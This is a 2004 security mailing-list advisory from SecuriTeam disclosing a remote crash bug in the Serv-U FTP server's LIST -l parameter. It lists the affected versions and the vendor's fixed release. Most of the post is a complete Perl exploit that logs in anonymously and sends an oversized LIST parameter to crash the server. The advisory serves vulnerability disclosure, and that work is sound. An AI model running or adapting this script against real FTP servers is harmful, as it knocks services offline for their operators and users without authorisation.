Serv-U LIST -l Parameter Buffer Overflow

From: Aviram Jenik (aviram_at_BEYONDSECURITY.COM)
Date: 05/03/04

  • Next message: Levinson, Karl: "Re: Microsoft Security Bulletin Search" 
    Date:         Mon, 3 May 2004 14:39:48 +0300
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

     Serv-U LIST -l Parameter Buffer Overflow
    ------------------------------------------------------------------------

    Article reference:
    http://www.securiteam.com/windowsntfocus/5ZP0G2KCKA.html

    SUMMARY

    <http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use, award-winning FTP
    server" created by Rob Beckers.
    A vulnerability in the product allows a remote user to cause the server to
    fail by sending a malformed LIST command to the server.

    DETAILS

    Vulnerable Systems:
    * Serv-U older than 5.0.0.6

    Immune Systems:
    * Serv-U 5.0.0.6 and newer

    A user issuing a long parameter (around 134 bytes) as a value for a LIST
    command (using the -l: parameter for that LIST command), can cause the server
    to try and read a value that is outside the memory location of the Serv-U's
    memory, this will cause an exception to be triggered (an unhandled
    exception), which in turn causes the program to crash.

    Solution:
    The vendor has released a new version, which fixes this problem.

    Exploit:
    #!/usr/bin/perl

    use IO::Socket;

    $host = "192.168.1.243";

    $remote = IO::Socket::INET->new ( Proto => "tcp",
         PeerAddr => $host,
         PeerPort => "2116",
        );

    unless ($remote) { die "cannot connect to ftp daemon on $host" }

    print "connected\n";
    while (<$remote>)
    {
     print $_;
     if (/220 /)
     {
      last;
     }
    }

    $remote->autoflush(1);

    my $ftp = "USER anonymous\r\n";

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/331 /)
     {
      last;
     }
    }

    $ftp = join("", "PASS ", "a\@b.com", "\r\n");
    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/230 /)
     {
      last;
     }
    }

    my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/250 Done/)
     {
      last;
     }
    }

    close $remote;

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

    Regards,
    Aviram Jenik
    Beyond Security Ltd.

    http://www.BeyondSecurity.com
    http://www.SecuriTeam.com

    The First Integrated Network and Web Application Vulnerability Scanner:
    http://www.beyondsecurity.com/webscan-wp.pdf

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any
    kind.
    In no event shall we be liable for any damages whatsoever including direct,
    indirect, incidental, consequential, loss of business profits or special
    damages.

    -----
    Earn up to 10 credit course hours toward the TruSecure ICSA Practitioner (TICSA) Credential and receive a TICSA exam coupon by attending the Infosecurity Canada 2004 conference. Featured speaker, Marcus J. Ranum, TruSecure inventor of the proxy firewall will present on June 3 at 11:30 AM. Visit <https://ticsa.trusecure.com> for certification details and <http://www.infosecuritycanada.com> for conference information. Become TICSA certified and see what happens!
    -----

  • Next message: Levinson, Karl: "Re: Microsoft Security Bulletin Search"

    Relevant Pages